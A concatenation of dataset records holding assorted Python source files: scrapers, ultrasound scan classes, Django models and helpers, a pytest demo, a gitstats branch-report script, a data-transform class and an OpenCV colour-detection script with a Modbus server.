Series.objects.get(pk=id).tag\n xpath_list = []\n img_xpath_list = []\n for i in range(3):\n xpath = '//*[@id=\"J_goodsList\"]/ul/li[' + str(i + 1) + ']/div/div[1]/a'\n xpath_list.append(xpath)\n img_xpath = '//*[@id=\"J_goodsList\"]/ul/li[' + str(i + 1) + ']/div/div[1]/a/img'\n img_xpath_list.append(img_xpath)\n url = jd_seach(keywords)\n html = req_url(url)\n obj_list = xpath_select(html, xpath_list, img_xpath_list)\n return render(request, \"curriculum/spider.html\", {'obj_list': obj_list})\n","sub_path":"curriculum/spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"644245581","text":"import numpy as np\nfrom scipy.signal import hilbert\nimport utlib\n \n_TYPE = np.float\n\n#_______________________________________________________________________________#\nclass Scan2(object):\n ''' The class :class:Scan2 provides an interface to do operations on a 2D ultrasound scan.'''\n\n #___________________________________________________________________________#\n def __init__(self, s, Ys=None, Xs=None, Ts=None, tshift=0, xshift=0, yshift=0):\n ''' The :class:Scan2 provides three different ways to instantiate an object *u* of its class type:\n \n * Specify a 3-D list of values and the X and Y steps, and the time sampling interval, and their corresponding shift. The values should have the shaoe (Y, X, time)\n\n * A copy constructor is also provided\n '''\n try:\n # Try a copy constructor\n self._s = np.array([s._s], copy=True, dtype=_TYPE)\n self.t = s.t\n self.x = s.x\n self.y = s.y\n except AttributeError:\n self._s = np.array(s, copy=True, dtype=_TYPE)\n if self._s.ndim != 3:\n raise StandardError('The scan array should be three dimensional with shape (Ystep, Xstep, Nsamples)')\n if Ts == None or Xs == None or Ys == None:\n raise ValueError('Ts, Xs, Ys should all be specified a value.')\n N = self._s.shape\n self.t = Ts if hasattr(Ts, '__len__') else np.arange(N[-1])*Ts\n self.x = Xs if hasattr(Xs, '__len__') else np.arange(N[1])*Xs\n self.y = Ys if hasattr(Ys, '__len__') else np.arange(N[0])*Ys\n self.t += tshift\n self.x += xshift\n self.y += yshift\n\n\n #______________________________________________________________# \n def __call__(self, option=''):\n \"\"\" Returns the computed C-scan according to a given option.\n Parameters: \n options (string, char) : The possible options are (combined options are allowed)\n +--------------------+--------------------------------------+\n | *option* | Meaning |\n +====================+======================================+\n | '' *(Default)* | Return the raw absolute c-scan |\n +--------------------+--------------------------------------+\n | 'n' | normalized signal |\n +--------------------+--------------------------------------+\n | 'e' | signal envelop |\n +--------------------+--------------------------------------+\n | 'd' | decibel value |\n +--------------------+--------------------------------------+\n \"\"\"\n yout = self._s \n if 'e' in option:\n for i in range(self.Ny):\n for j in range(self.Nx):\n yout[i,j,:] -= abs(hilbert(yout[i,j,:]))\n if 'n' in option:\n yout = yout/np.amax(abs(yout))\n if 'd' in option:\n yout = 20*np.log10( abs(yout) )\n yout = yout.max(axis=-1)\n return Cscan(yout, self.x, self.y)\n\n \n #______________________________________________________________#\n def remove_mean(self):\n ''' Removes the mean in the time direction. Support may be added later for the other directions if needed...'''\n for i in range(self.Ny):\n for j in range(self.Nx):\n self._s[i,j,:] -= np.mean(self._s[i,j,:])\n\n \n #______________________________________________________________#\n def get_bscan(self, insp, option=''):\n ind = np.argmax(np.amax(self()(), axis=1))\n b = np.squeeze(self._s[ind,:,:])\n if 'e' in option:\n b = abs(hilbert(b))\n if 'n' in option:\n b = b/np.amax( abs(b) )\n if 'd' in option: \n b = 20*np.log10( abs(b) )\n return Bscan(b.T, self.x, self.t, insp)\n\n \n #______________________________________________________________#\n def get_ascan(self):\n indx = np.argmax(np.amax(self()(), axis=0))\n indy = np.argmax(np.amax(self()(), axis=1))\n b = np.squeeze(self._s[indy,indx,:])\n return utlib.Signal(b, self.Ts, tshift=self.t[0]) \n\n \n #______________________________________________________________#\n @property\n def Ts(self):\n \"\"\" Get the signal interval. \"\"\"\n return np.mean(np.diff(self.t))\n\n \n #______________________________________________________________#\n @property\n def Fs(self):\n \"\"\" Get the signal sampling frequency. \"\"\"\n return 1.0/self.Ts\n \n\n #______________________________________________________________#\n @property\n def Xs(self):\n \"\"\" Get the signal interval. \"\"\"\n return np.mean(np.diff(self.x))\n\n\n #______________________________________________________________#\n @property\n def Ys(self):\n \"\"\" Get the signal interval. \"\"\"\n return np.mean(np.diff(self.y))\n\n \n #______________________________________________________________#\n @property\n def Ns(self):\n \"\"\" Get the number of samples in the signal.\"\"\"\n return self._s.shape[2]\n \n #______________________________________________________________#\n @property\n def Nx(self):\n \"\"\" Get the number of samples in the X direction.\"\"\"\n return self._s.shape[1]\n \n #______________________________________________________________#\n @property\n def Ny(self):\n \"\"\" Get the number of samples in the Y direction.\"\"\"\n return self._s.shape[0]\n\n\n#_______________________________________________________________________________#\nclass Cscan(object):\n ''' Easy container for c-scans.'''\n\n #______________________________________________________________#\n def __init__(self, C, X, Y):\n C = np.array(C)\n if C.ndim != 2:\n raise ValueError('C should have two dimensions.')\n self._C = C\n N = C.shape\n self.X = X if hasattr(X, '__len__') else np.arange(N[1])*X\n self.Y = Y if hasattr(Y, '__len__') else np.arange(N[0])*Y\n\n\n #______________________________________________________________#\n def __call__(self, option=''):\n yout = self._C\n if 'n' in option:\n yout = self._C/np.amax(abs(yout))\n if 'd' in option:\n yout = 20*np.log10(yout) \n return yout\n\n\n #______________________________________________________________#\n def pad(self, xrange, yrange):\n Nx = np.floor(xrange/self.Xs) - self.Nx\n Ny = np.floor(yrange/self.Ys) - self.Ny\n mn = np.min(self._C)\n #return Nx\n if Nx > 0:\n add_x = mn*np.ones(( self._C.shape[0], np.ceil(Nx/2.0) ))\n self._C = np.append(self._C, add_x, 1) \n self._C = np.concatenate((add_x, self._C), 1) \n elif Nx < 0:\n ind = np.arange(np.ceil(Nx/2.0))\n self._C = np.delete(self._C, -ind - 1, axis=1)\n self._C = np.delete(self._C, ind, axis=1)\n \n if Ny > 0:\n add_y = mn*np.ones((np.ceil(Ny/2.0), self._C.shape[1]))\n self._C = np.append(self._C, add_y, 0)\n self._C = np.concatenate((add_y, self._C), 0)\n elif Ny < 0:\n ind = np.arange(np.ceil(Ny/2.0))\n self._C = np.delete(self._C, -ind - 1, axis=0)\n self._C = np.delete(self._C, ind , axis=0)\n return self\n \n\n #___________________________________________________________________________#\n @property\n def Xs(self):\n '''Get the X step interval. '''\n return np.mean(np.diff(self.X))\n\n \n #______________________________________________________________#\n @property\n def Nx(self):\n \"\"\" Get the number of samples in the X direction.\"\"\"\n return self._C.shape[1]\n\n \n #___________________________________________________________________________#\n @property\n def Ys(self):\n '''Get the Y interval. '''\n return np.mean(np.diff(self.Y))\n \n #______________________________________________________________#\n @property\n def Ny(self):\n \"\"\" Get the number of samples in the Y direction.\"\"\"\n return self._C.shape[0] \n\n #______________________________________________________________#\n @property\n def extent(self):\n return [self.X[0], self.X[-1], self.Y[0], self.Y[-1]]\n\n\n#_______________________________________________________________________________#\nclass Bscan(object):\n ''' A container that defines an ultrasound Bscan.'''\n\n #_______________________________________________________________________________# \n def __init__(self, s, Xs, Ts, inspection, xshift=0, tshift=0):\n if s.ndim != 2:\n raise ValueError('s should have two dimensions.') \n self._s = np.array(s, copy=True)\n N = self._s.shape\n self.X = Xs if hasattr(Xs, '__len__') else np.arange(N[1])*Xs\n self.t = Ts if hasattr(Ts, '__len__') else np.arange(N[0])*Ts\n self.X += xshift + inspection.plate.thickness*np.sin(np.radians(inspection.beam_angle()))\n self.t += tshift\n self.inspection = inspection\n\n \n #_______________________________________________________________________________# \n def __call__(self, option=''):\n b = self._s\n if 'e' in option:\n b = abs(hilbert(b, axis=0))\n if 'n' in option:\n b = b/np.amax( abs(b) )\n if 'd' in option: \n b = 20*np.log10( abs(b) ) \n return b\n\n \n #______________________________________________________________#\n def get_ascan(self):\n ind = np.argmax(np.max(self._s, axis=0)) \n return utlib.Signal(self._s[:,ind], self.Ts, self.t[0])\n \n \n #______________________________________________________________#\n def pad(self, xrange, yrange):\n Nx = np.floor(np.diff(xrange)[0]/self.Xs) - self.Nx\n Ny = np.floor(np.diff(yrange)[0]/self.Ys) - self.Ns\n mn = np.min(self._s)\n #print(np.diff(xrange)[0], self.Xs, self.Nx)\n if Nx > 0: \n add_x = mn*np.ones(( self._s.shape[0], np.ceil(Nx/2.0) ))\n self._s = np.append(self._s, add_x, 1) \n self._s = np.concatenate((add_x, self._s), 1) \n \n if Ny > 0:\n add_y = mn*np.ones((np.ceil(Ny/2.0), self._s.shape[1]))\n self._s = np.append(self._s, add_y, 0)\n self._s = np.concatenate((add_y, self._s), 0)\n\n return self\n\n \n #______________________________________________________________#\n def flip(self):\n self._s = np.fliplr(self._s)\n return self\n\n \n #______________________________________________________________#\n @property\n def Nx(self):\n \"\"\" Get the number of samples in the X direction.\"\"\"\n return self._s.shape[1]\n\n\n #___________________________________________________________________________#\n @property\n def Ts(self):\n '''Get the X coordinate scan vector for the scans. '''\n return np.mean(np.diff(self.t))\n\n #___________________________________________________________________________#\n @property\n def Xs(self):\n '''Get the X coordinate scan vector for the scans. '''\n return np.mean(np.diff(self.X))\n \n #______________________________________________________________#\n @property\n def Ns(self):\n \"\"\" Get the number of samples in the X direction.\"\"\"\n return self._s.shape[0]\n\n \n #___________________________________________________________________________#\n @property\n def Y(self):\n '''Get the Y coordinate scan vector for the scans. '''\n if self.inspection.wave_mode == 'S':\n c = self.inspection.plate.cl\n else:\n c = self.inspection.plate.cs \n Y = (c/2.0)*(self.t - self.inspection.probe.delay()*2)*np.cos(np.radians(self.inspection.beam_angle()))\n return Y\n\n \n #___________________________________________________________________________#\n @property\n def Ys(self):\n '''Get the X coordinate scan vector for the scans. '''\n return np.mean(np.diff(self.Y))\n\n \n #___________________________________________________________________________#\n @property\n def extent(self):\n return np.array([self.X[0], self.X[-1], self.Y[-1], self.Y[0]])\n \n","sub_path":"scan.py","file_name":"scan.py","file_ext":"py","file_size_in_byte":12684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"358882173","text":"from django.db import models\nfrom django.contrib.auth.models import User\nfrom django.utils import timezone\nfrom django.db import transaction\nfrom opal.models import Episode\nfrom odonto.odonto_submissions import send_message\n\n\nclass MessageSentException(Exception):\n pass\n\n\nclass SystemClaim(models.Model):\n reference_number = models.IntegerField(unique=True)\n\n @classmethod\n def create(cls):\n instance = cls()\n if not cls.objects.exists():\n instance.reference_number = 1\n else:\n max_number = cls.objects.aggregate(\n number=models.Max(\"reference_number\")\n )[\"number\"] + 1\n instance.reference_number = max_number\n instance.save()\n return instance\n\n\nclass Submission(models.Model):\n UNSENT = \"Unsent\"\n SENT = \"Sent\"\n SUCCESS = \"Success\"\n FAILURE = \"Failure\"\n STATUS = (\n (UNSENT, UNSENT,),\n (SENT, SENT,),\n (SUCCESS, SUCCESS,),\n (FAILURE, FAILURE),\n )\n\n raw_xml = models.TextField()\n created = models.DateTimeField(default=timezone.now)\n serial_number = models.IntegerField(default=1)\n state = models.CharField(\n default=UNSENT, choices=STATUS, max_length=256\n )\n response = models.TextField(blank=True, default=\"\")\n claim = models.OneToOneField(\n SystemClaim, blank=True, null=True, on_delete=models.SET_NULL\n )\n\n message = models.ForeignKey(\n \"BCDS1Message\",\n on_delete=models.CASCADE,\n )\n\n class Meta:\n ordering = ('-serial_number',)\n get_latest_by = 'serial_number'\n unique_together = (\n ('message', 'serial_number'),\n )\n\n def __str__(self):\n return \"pk={0.pk} raw_xml={0.raw_xml!r}\".format(self)\n\n\nclass BCDS1Message(models.Model):\n episode = models.ForeignKey(\n Episode,\n on_delete=models.CASCADE\n )\n user = models.ForeignKey(\n User,\n null=True,\n on_delete=models.SET_NULL\n )\n\n created = models.DateTimeField(default=timezone.now)\n updated = models.DateTimeField(default=timezone.now)\n\n class Meta:\n ordering = ('created',)\n get_latest_by = 'created'\n unique_together = (\n ('episode', 'user'),\n )\n\n def new_submission(self):\n from odonto.odonto_submissions import serializers\n current_submission = self.submission_set.last()\n\n if current_submission is None:\n serial_number = 1\n else:\n serial_number = current_submission.serial_number + 1\n\n claim = SystemClaim.create()\n\n xml = serializers.translate_episode_to_xml(\n self.episode,\n self.user,\n serial_number,\n claim.reference_number\n )\n self.submission_set.create(\n raw_xml=xml,\n serial_number=serial_number,\n )\n\n @transaction.atomic\n def send(self):\n current_submission = self.submission_set.last()\n if not current_submission:\n raise MessageSentException(\n \"No submission to send, please call create_submission\"\n )\n if not current_submission.state == Submission.UNSENT:\n raise MessageSentException(\n \"Please create a new submission with create_submission\"\n )\n current_submission.state = Submission.SENT\n current_submission.save()\n send_message.send_message(current_submission.xml)\n\n def __str__(self):\n current_submission = self.submission_set.last()\n return \"pk={} episode_id={} {}\".format(\n self.id,\n self.episode.id,\n current_submission.state or \"No submissions\"\n )\n\n","sub_path":"odonto/odonto_submissions/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"341507727","text":"import hashlib\nimport re\nimport urllib\n\nfrom django.conf import settings\nfrom django.template import Context\nfrom django.template.loader import get_template\nfrom django.utils.safestring import mark_safe\n\nimport jinja2\nfrom funfactory.utils import absolutify\nfrom jingo import register\n\nPARAGRAPH_RE = re.compile(r'(?:\\r\\n|\\r|\\n){2,}')\n\nabsolutify = register.function(absolutify)\n\n\n@register.filter\ndef paragraphize(value):\n return jinja2.Markup(\n u'\\n\\n'.join(u'

%s

' % p.replace('\\n', '
\\n')\n for p in PARAGRAPH_RE.split(jinja2.escape(value))))\n\n\n@register.inclusion_tag('phonebook/includes/search_result.html')\n@jinja2.contextfunction\ndef search_result(context, profile):\n d = dict(context.items())\n d.update(profile=profile)\n return d\n\n\ndef gravatar(email, default='%simg/unknown.png' % (settings.MEDIA_URL),\n size=175, rating='pg'):\n \"\"\"Return the Gravatar URL for an email address.\"\"\"\n\n return 'http://www.gravatar.com/avatar/%s?%s' % (\n hashlib.md5(email.lower()).hexdigest(),\n urllib.urlencode({'d': absolutify(default),\n 's': str(size),\n 'r': rating}))\n\n\n@register.function\ndef bootstrap(element):\n \"\"\"Renders bootstrap forms in jinja2.\n\n Takes an element that is either a field or an entire form and\n renders the appropriate bootstrap elements.\n \"\"\"\n element_type = element.__class__.__name__.lower()\n if element_type == 'boundfield':\n template = get_template(\"bootstrapform/field.html\")\n context = Context({'field': element})\n else:\n template = get_template(\"bootstrapform/form.html\")\n context = Context({'form': element})\n\n return mark_safe(template.render(context))\n","sub_path":"apps/phonebook/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":1783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"388366446","text":"import neuroglancer\nimport neuroglancer.webdriver\n\nviewer = neuroglancer.Viewer()\nwith viewer.txn() as s:\n s.layers['image'] = neuroglancer.ImageLayer(\n source='precomputed://gs://neuroglancer-janelia-flyem-hemibrain/emdata/clahe_yz/jpeg',\n )\n s.layers['segmentation'] = neuroglancer.SegmentationLayer(\n source='precomputed://gs://neuroglancer-janelia-flyem-hemibrain/v1.1/segmentation',\n )\n\nwebdriver = neuroglancer.webdriver.Webdriver(viewer, headless=False)\n\n\ndef get_loading_progress():\n return webdriver.driver.execute_script('''\nconst userLayer = viewer.layerManager.getLayerByName(\"segmentation\").layer;\nreturn userLayer.renderLayers.map(x => x.layerChunkProgressInfo)\n ''')\n","sub_path":"python/examples/webdriver_example.py","file_name":"webdriver_example.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"116054819","text":"# -*- coding: utf-8 -*-\n\"\"\" \n@Time : 2021/6/10 16:57\n@Author : MaSai\n@FileName: test_demo.py\n@SoftWare: PyCharm\n\"\"\"\nimport pytest\n\ndef division(a, b):\n return int(a / b)\n\n@pytest.mark.parametrize('a, b, c', [(4, 2, 2), (0, 2, 0), (1, 0, 0), (6, 8, 0)], ids=['整除', '被除数为0', '除数为0', '非整除'])\ndef test_1(a, b, c):\n '''使用 try...except... 接收异常'''\n try:\n res = division(a, b)\n except Exception as e:\n print('发生异常,异常信息{},进行异常断言'.format(e))\n assert str(e) == 'division by zero'\n print(\"0\")\n else:\n assert res == c\n print(\"c\")\n# @pytest.mark.parametrize('a, b, c', [(4, 2, 2), (0, 2, 0), (1, 0, 0), (6, 8, 0)], ids=['整除', '被除数为0', '除数为0', '非整除'])\n@pytest.mark.parametrize('a,b,c', [\n [1, 1, 2], [200, 100, 2], [0.1, 0.1, 1], [0.01, 0.1, 0.1], [100, 1, 200], [1, 0, ZeroDivisionError]\n], ids=['int', 'bigint', 'float', 'minus', 'erro', 'zero'])\ndef test_2(a, b, c):\n '''使用 pytest.raises 接收异常'''\n if b == 0:\n with pytest.raises(ZeroDivisionError) as e:\n division(a, b)\n # 断言异常 type\n print(e.type)\n print(e.value)\n assert e.type == ZeroDivisionError\n # 断言异常 value值\n assert \"division by zero\" in str(e.value)\n print('0')\n else:\n assert division(a, b) == c\n print(\"c\")","sub_path":"tset_case/test_demo.py","file_name":"test_demo.py","file_ext":"py","file_size_in_byte":1429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"623339043","text":"import cv2\nimport numpy as np\nfrom collections import deque\nimport pymodbus\nimport modbus.pymodbus_server as mbs\n\n\nfrom multiprocessing import Queue, Process\nimport threading\nimport time\n\n# # Red params\nlow_red = [179, 120, 0] \nhigh_red = [180, 255, 255]\n\n# # Yellow params\nlow_yellow = [10, 120, 0] # 20 120 0\nhigh_yellow = [35, 255, 255] # 35 255 255\n\n# # Blue params\nlow_blue = [100, 120, 0]\nhigh_blue = [140, 255, 255]\n\ndef process_img_binary(src, low, high, k_erosion=3, k_dilation=5, erosion_iterations=5, dilation_iterations=2):\n\n filter_size = 29\n src = cv2.GaussianBlur(src, (filter_size, filter_size), cv2.BORDER_DEFAULT)\n src = cv2.cvtColor(src, cv2.COLOR_BGR2HSV)\n src = cv2.inRange(src, (low[0], low[1], low[2]), (high[0], high[1], high[2]))\n str_el_erosion = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (k_erosion, k_erosion))\n str_el_dilation = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (k_dilation, k_dilation))\n src = cv2.dilate(src, str_el_dilation, iterations=dilation_iterations)\n src = cv2.erode(src, str_el_erosion, iterations=erosion_iterations)\n binary = src\n\n return binary\n\n\ndef process_img_contours(binary_img, color_name):\n\n if color_name == \"red\":\n color_code = (0, 0, 255)\n min_threshold_area = 2500\n max_threshold_area = 3500\n if color_name == \"yellow\":\n color_code = (0, 255, 255)\n min_threshold_area = 6500\n max_threshold_area = 10000\n if color_name == \"blue\":\n color_code = (255, 0, 0)\n min_threshold_area = 1100\n max_threshold_area = 1800\n \n drawing = np.zeros(binary_img.shape + (3,))\n\n src = np.uint8(binary_img)\n thresh = 50\n canny = cv2.Canny( src, thresh, thresh*2, 3 )\n contours, hierarchy = cv2.findContours( canny, cv2.CHAIN_APPROX_SIMPLE, cv2.RETR_TREE)[-2:]\n\n minRect = [cv2.minAreaRect(contour) for contour in contours]\n \n # for i in range(len(contours)):\n # # Should the -1 be i or not?\n # cv2.drawContours(drawing, contours, i, color_code, 2, 8)# , hierarchy[:][0]) \n \n # box = cv2.boxPoints(minRect[i])\n # box = np.int0(box)\n # for j in range(4):\n # cv2.line( drawing, tuple(box[j]), tuple(box[(j+1)%4]), (128,0,128), 3, 8)\n # cv2.putText(drawing, color_name, tuple(box[1]), cv2.FONT_HERSHEY_SIMPLEX, 1, color_code)\n\n \n \n if (len(contours) > 0):\n area = cv2.contourArea(contours[0])\n # print(area)\n if (color_name == \"red\" and area > min_threshold_area and area < max_threshold_area):\n cv2.drawContours(drawing, contours[0], -1, color_code, 2, 8)# , hierarchy[0][0]) \n box = cv2.boxPoints(minRect[0])\n box = np.int0(box)\n for j in range(4):\n cv2.line( drawing, tuple(box[j]), tuple(box[(j+1)%4]), (128,0,128), 3, 8)\n cv2.putText(drawing, color_name, tuple(box[1]), cv2.FONT_HERSHEY_SIMPLEX, 1, color_code)\n print(\"{} brick deteced!\".format(color_name))\n mbs.set_register_value(0x00, 1)\n\n elif (color_name == \"yellow\" and area > min_threshold_area and area < max_threshold_area):\n cv2.drawContours(drawing, contours[0], -1, color_code, 2, 8)# , hierarchy[0][0]) \n box = cv2.boxPoints(minRect[0])\n box = np.int0(box)\n for j in range(4):\n cv2.line( drawing, tuple(box[j]), tuple(box[(j+1)%4]), (128,0,128), 3, 8)\n cv2.putText(drawing, color_name, tuple(box[1]), cv2.FONT_HERSHEY_SIMPLEX, 1, color_code)\n print(\"{} brick deteced!\".format(color_name))\n mbs.set_register_value(0x00, 2)\n elif (color_name == \"blue\" and area > min_threshold_area and area < max_threshold_area):\n cv2.drawContours(drawing, contours[0], -1, color_code, 2, 8)# , hierarchy[0][0]) \n box = cv2.boxPoints(minRect[0])\n box = np.int0(box)\n for j in range(4):\n cv2.line( drawing, tuple(box[j]), tuple(box[(j+1)%4]), (128,0,128), 3, 8)\n cv2.putText(drawing, color_name, tuple(box[1]), cv2.FONT_HERSHEY_SIMPLEX, 1, color_code)\n print(\"{} brick deteced!\".format(color_name))\n mbs.set_register_value(0x00, 3)\n else:\n print(\"No bricks detected\")\n mbs.set_register_value(0x00, 4)\n\n\n return drawing\n\nif __name__ == \"__main__\":\n\n server = threading.Thread(target=mbs.run_sync_server, args=())\n server.daemon = True\n server.start()\n mbs.set_register_value(0x00, 0)\n\n cap = cv2.VideoCapture(0)\n if not cap:\n print(\"Nothing captured\")\n\n red_deque = deque(maxlen=10)\n yellow_deque = deque(maxlen=10)\n blue_deque = deque(maxlen=10)\n \n while(True):\n red_count = 0\n yellow_count = 0\n blue_count = 0\n\n ret, frame = cap.read()\n frame = frame[200:400, 150:450]\n drawing = np.zeros_like(frame)\n\n binary_red = process_img_binary(frame, low_red, high_red)\n # binary_red = cv2.bitwise_not(binary_red)\n binary_yellow = process_img_binary(frame, low_yellow, high_yellow)\n binary_blue = process_img_binary(frame, low_blue, high_blue)\n \n red_deque.append(binary_red)\n yellow_deque.append(binary_yellow)\n blue_deque.append(binary_blue)\n binary_red = np.average(red_deque, axis=0)\n binary_yellow = np.average(yellow_deque, axis=0)\n binary_blue = np.average(blue_deque, axis=0)\n\n dst_red = process_img_contours(binary_red, \"red\")\n dst_yellow = process_img_contours(binary_yellow, \"yellow\")\n dst_blue = process_img_contours(binary_blue, \"blue\")\n\n binary_all = binary_red + binary_yellow + binary_blue\n dst_all = dst_red + dst_yellow + dst_blue\n\n\n# cv2.namedWindow('Feed',cv2.WINDOW_NORMAL)\n# cv2.resizeWindow('Feed', 400,400)\n# cv2.moveWindow ('Feed', 0, 0)\n# cv2.imshow('Feed', frame)\n\n# cv2.namedWindow('binary',cv2.WINDOW_NORMAL)\n# cv2.resizeWindow('binary', 400,400)\n# cv2.moveWindow ('binary', 0, 400)\n# cv2.imshow('binary', binary_all)\n\n# cv2.namedWindow('processed',cv2.WINDOW_NORMAL)\n# cv2.resizeWindow('processed', 800, 800)\n# cv2.moveWindow ('processed', 450, 0)\n# cv2.imshow('processed', dst_all)\n\n# key = cv2.waitKey(1)\n# while(key & 0xFF == ord('q')):\n# break\n \n# cap.release()\n# cv2.destroyAllWindows()\n","sub_path":"color_seg/rpi_main.py","file_name":"rpi_main.py","file_ext":"py","file_size_in_byte":6480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"311602429","text":"#!/usr/bin/env python\n# Copyright (c) 2007-2013 Heikki Hokkanen & others (see doc/author.txt)\n# GPLv2 / GPLv3\nfrom datetime import datetime\nimport getopt\nfrom common import *\nfrom GitDataCollector import GitDataCollector\n\nfrom HtmlReportCreator import HTMLReportCreator\nfrom common import getgnuplotversion, exectime_external\nfrom config import conf\n\nif sys.version_info < (2, 6):\n print(\"Python 2.6 or higher is required for GitStats\")\n sys.exit(1)\n\nos.environ['LC_ALL'] = 'C'\ntime_start = time.time()\n\n\ndef usage():\n print(\"\"\"\nUsage: gitstats [options] \n\nOptions:\n-c key=value Override configuration value\n\nDefault config values:\n%s\n\nPlease see the manual page for more details.\n\"\"\" % conf)\n\n\nclass GitStats:\n def run(self, args_orig):\n optlist, args = getopt.getopt(args_orig, 'hc:', [\"help\"])\n for o, v in optlist:\n if o == '-c':\n key, value = v.split('=', 1)\n if key not in conf:\n raise KeyError('no such key \"%s\" in config' % key)\n if isinstance(conf[key], int):\n conf[key] = int(value)\n elif isinstance(conf[key], dict):\n kk, vv = value.split(',', 1)\n conf[key][kk] = vv\n else:\n conf[key] = value\n elif o in ('-h', '--help'):\n usage()\n sys.exit()\n\n if len(args) < 1:\n usage()\n sys.exit(0)\n\n rundir = os.getcwd()\n\n # if output is not specified, output to web directory (default folder)\n if len(args) == 1:\n output_path = conf['output']\n else:\n output_path = os.path.abspath(args[-1])\n\n try:\n os.makedirs(output_path)\n except OSError:\n pass\n if not os.path.isdir(output_path):\n print('FATAL: Output path is not a directory or does not exist')\n sys.exit(1)\n\n if not getgnuplotversion():\n print('gnuplot not found')\n sys.exit(1)\n\n print('Output path: %s' % output_path)\n cached_file = os.path.join(output_path, 'gitstats.cache')\n\n if len(args) == 1:\n input_paths = args[0:]\n else:\n input_paths = args[0:-1]\n\n input_path = input_paths[0]\n # only for 1 path\n # for gitpath in gitpaths:\n\n print('Git path: %s' % input_path)\n print('Running dir: %s' % rundir)\n project_dir = os.path.basename(os.path.abspath(input_path))\n\n # loop through all branches, generate report for each branch\n main_branch = 'master'\n lines = getpipeoutput(['git branch -a']).split('\\n')\n for line in lines:\n data = GitDataCollector()\n\n # get local branch name\n if len(line) < 2:\n continue\n line = line[2:]\n branch_name = line.split(' ')[0].replace('remotes/origin/', '')\n if branch_name == 'HEAD':\n main_branch = line.split(' ')[2]\n continue\n\n os.chdir(rundir)\n\n # delete the branch\n getpipeoutput(['git branch -D %s' % branch_name])\n # create the branch\n getpipeoutput(['git checkout -b %s --track origin/%s' % (branch_name, branch_name)])\n\n print('Collecting data...')\n data.collect(input_path)\n os.chdir(rundir)\n\n print('Refining data...')\n data.saveCache(cached_file)\n data.refine()\n\n os.chdir(rundir)\n\n print('project dir: %s' % project_dir)\n print('Generating report...')\n print('Output dir: %s' % output_path)\n\n output_suffix = conf['output_suffix']\n single_project_output_path = os.path.join(output_path, data.projectname, output_suffix)\n\n time_begin = conf['time_begin']\n time_end = conf['time_end']\n if not time_end:\n time_end = datetime.now().strftime(\"%Y-%m-%d\")\n if time_begin:\n # time_format = '%Y-%m-%d %H:%M:%S'\n single_project_output_path = os.path.join(single_project_output_path, \"%s to %s\" % (time_begin, time_end))\n else:\n single_project_output_path = os.path.join(single_project_output_path, \"all\")\n\n try:\n os.makedirs(single_project_output_path)\n except OSError:\n pass\n if not os.path.isdir(single_project_output_path):\n print('FATAL: Unable to create output folder')\n sys.exit(1)\n\n report = HTMLReportCreator()\n report.create(data, single_project_output_path, branch_name)\n getpipeoutput(['git reset HEAD --hard'])\n\n print(\"Switch back to main branch: %s\" % main_branch)\n getpipeoutput(['git checkout %s' % main_branch])\n\n time_end = time.time()\n exectime_internal = time_end - time_start\n print('Execution time %.5f secs, %.5f secs (%.2f %%) in external commands)' % (\n exectime_internal, exectime_external, (100.0 * exectime_external) / exectime_internal))\n if sys.stdin.isatty():\n print('Finished!')\n\n\nif __name__ == '__main__':\n g = GitStats()\n g.run(sys.argv[1:])\n\n","sub_path":"gitstats.py","file_name":"gitstats.py","file_ext":"py","file_size_in_byte":5362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"194524714","text":"import pandas as pd\nimport numpy as np\n\n\nclass Data:\n\n def __init__(self, config):\n self.config = config\n\n def loadfrom_csv(self, datafile):\n try:\n return pd.read_csv(datafile)\n except Exception as e:\n print(\"Error : \" + str(e))\n\n def loadfrom_excel(self, datafile):\n try:\n return pd.read_excel(datafile)\n except Exception as e:\n print(\"Error : \" + str(e))\n\n def loadfrom_df(self, df):\n print(df)\n\n def transform(self, data, trafo, power=1.):\n tf = trafo.split('-')\n if tf[0] == 'NA': # only power transform\n return data\n elif tf[0] == 'pow': # log_10 transform\n return data ** power\n elif tf[0] == 'log': # log_10 transform\n return np.log10(data) ** power\n elif tf[0] == 'd1': # first difference over period dx\n i = int(tf[1])\n return (data[i:] - data[:-i]) ** power\n elif tf[0] == 'pch': # percentage change over period px\n i = int(tf[1])\n return (100. * (data[i:] - data[:-i]) / data[:-i]) ** power\n elif tf[0] == 'ld': # log difference (approx pch for small changes)\n i = int(tf[1])\n return (100 * np.log(data[i:] / data[:-i])) ** power\n else:\n raise ValueError(\"Invalid transformation value.\")\n","sub_path":"eva/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"397929595","text":"import os\nimport selenium\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom bs4 import BeautifulSoup\nimport pprint\nimport json\nimport re\nimport time\nfrom datetime import datetime\nfrom pymongo import MongoClient\nfrom randomise2 import randomise\n#from fake_useragent import UserAgent\n#import MySQLdb\n#from pyvirtualdisplay import Display\n#import httplib\n \ndef getRandomBrowser(): #final\n #chromedriver = '/home/vivekg/driver/chromedriver_'\n #ua = UserAgent()\n #chrome_options = webdriver.ChromeOptions()\n #proxy = \"socks5://127.0.0.1:9051\"\n #print time.ctime() + \": \" + \"trying proxy: \" + proxy\n #chrome_options.add_argument('--proxy-server=%s' % proxy)\n #chrome_options.add_argument(ua.random)\n \n #chromedriver = 